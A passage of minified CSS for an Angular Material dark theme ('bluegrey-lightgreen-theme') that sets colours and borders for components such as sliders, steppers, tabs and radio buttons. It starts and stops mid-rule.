.mat-paginator-first,.bluegrey-lightgreen-theme .mat-paginator-last{border-top:2px solid white}.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-decrement,.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-increment,.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-first,.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-progress-bar-background{fill:#394043}.bluegrey-lightgreen-theme .mat-progress-bar-buffer{background-color:#394043}.bluegrey-lightgreen-theme .mat-progress-bar-fill:after{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#3e4c32}.bluegrey-lightgreen-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#3e4c32}.bluegrey-lightgreen-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#689f38}.bluegrey-lightgreen-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#643a2d}.bluegrey-lightgreen-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#643a2d}.bluegrey-lightgreen-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-progress-spinner circle,.bluegrey-lightgreen-theme .mat-spinner circle{stroke:#546e7a}.bluegrey-lightgreen-theme .mat-progress-spinner.mat-accent circle,.bluegrey-lightgreen-theme .mat-spinner.mat-accent circle{stroke:#689f38}.bluegrey-lightgreen-theme .mat-progress-spinner.mat-warn circle,.bluegrey-lightgreen-theme .mat-spinner.mat-warn circle{stroke:#ff5722}.bluegrey-lightgreen-theme .mat-radio-outer-circle{border-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#546e7a}.bluegrey-lightgreen-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.bluegrey-lightgreen-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.bluegrey-lightgreen-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#689f38}.bluegrey-lightgreen-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.bluegrey-lightgreen-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.bluegrey-lightgreen-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#689f38}.bluegrey-lightgreen-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#ff5722}.bluegrey-lightgreen-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.bluegrey-lightgreen-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.bluegrey-lightgreen-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#ffffff80}.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#ffffff80}.bluegrey-lightgreen-theme .mat-radio-button .mat-ripple-element{background-color:#fff}.bluegrey-lightgreen-theme .mat-select-value{color:#fff}.bluegrey-lightgreen-theme .mat-select-placeholder,.bluegrey-lightgreen-theme .mat-select-disabled .mat-select-value{color:#ffffff80}.bluegrey-lightgreen-theme .mat-select-arrow{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-select-panel{background:#424242}.bluegrey-lightgreen-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.bluegrey-lightgreen-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#ffffff80}.bluegrey-lightgreen-theme .mat-drawer-container{background-color:#303030;color:#fff}.bluegrey-lightgreen-theme .mat-drawer{background-color:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-drawer.mat-drawer-push{background-color:#424242}.bluegrey-lightgreen-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.bluegrey-lightgreen-theme .mat-drawer-side{border-right:solid 1px rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-drawer-side.mat-drawer-end,.bluegrey-lightgreen-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(255,255,255,.12);border-right:none}.bluegrey-lightgreen-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#bdbdbd99}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#689f38}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#689f388a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#689f38}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#546e7a8a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#ff57228a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#fff}.bluegrey-lightgreen-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#bdbdbd}.bluegrey-lightgreen-theme .mat-slide-toggle-bar{background-color:#ffffff80}.bluegrey-lightgreen-theme .mat-slider-track-background{background-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#546e7a33}.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#689f38}.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#689f3833}.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#ff572233}.bluegrey-lightgreen-theme .mat-slider:hover .mat-slider-track-background,.bluegrey-lightgreen-theme .mat-slider.cdk-focused .mat-slider-track-background,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#ffffff4d;background-color:transparent}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.bluegrey-lightgreen-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.bluegrey-lightgreen-theme .mat-step-header.cdk-keyboard-focused,.bluegrey-lightgreen-theme .mat-step-header.cdk-program-focused,.bluegrey-lightgreen-theme .mat-step-header:hover:not([aria-disabled]),.bluegrey-lightgreen-theme .mat-step-header:hover[aria-disabled=false]{background-color:#ffffff0a}.bluegrey-lightgreen-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.bluegrey-lightgreen-theme .mat-step-header:hover{background:none}}.bluegrey-lightgreen-theme .mat-step-header .mat-step-label,.bluegrey-lightgreen-theme .mat-step-header .mat-step-optional{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon{background-color:#ffffffb3;color:#fff}.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-selected,.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-state-done,.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-state-edit{background-color:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon-selected,.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon-selected,.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#ff5722}.bluegrey-lightgreen-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#fff}.bluegrey-lightgreen-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#ff5722}.bluegrey-lightgreen-theme .mat-stepper-horizontal,.bluegrey-lightgreen-theme .mat-stepper-vertical{background-color:#424242}.bluegrey-lightgreen-theme .mat-stepper-vertical-line:before{border-left-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-horizontal-stepper-header:before,.bluegrey-lightgreen-theme .mat-horizontal-stepper-header:after,.bluegrey-lightgreen-theme .mat-stepper-horizontal-line{border-top-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-sort-header-arrow{color:#c6c6c6}.bluegrey-lightgreen-theme .mat-tab-nav-bar,.bluegrey-lightgreen-theme .mat-tab-header{border-bottom:1px solid rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.bluegrey-lightgreen-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(255,255,255,.12);border-bottom:none}.bluegrey-lightgreen-theme .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-link.mat-tab-disabled{color:#ffffff80}.bluegrey-lightgreen-theme .mat-tab-header-pagination-chevron{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#607d8b4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#aed5814d}.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#689f38}.bluegrey-lightgreen-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffccbc4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#607d8b4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#aed5814d}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#689f38}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn 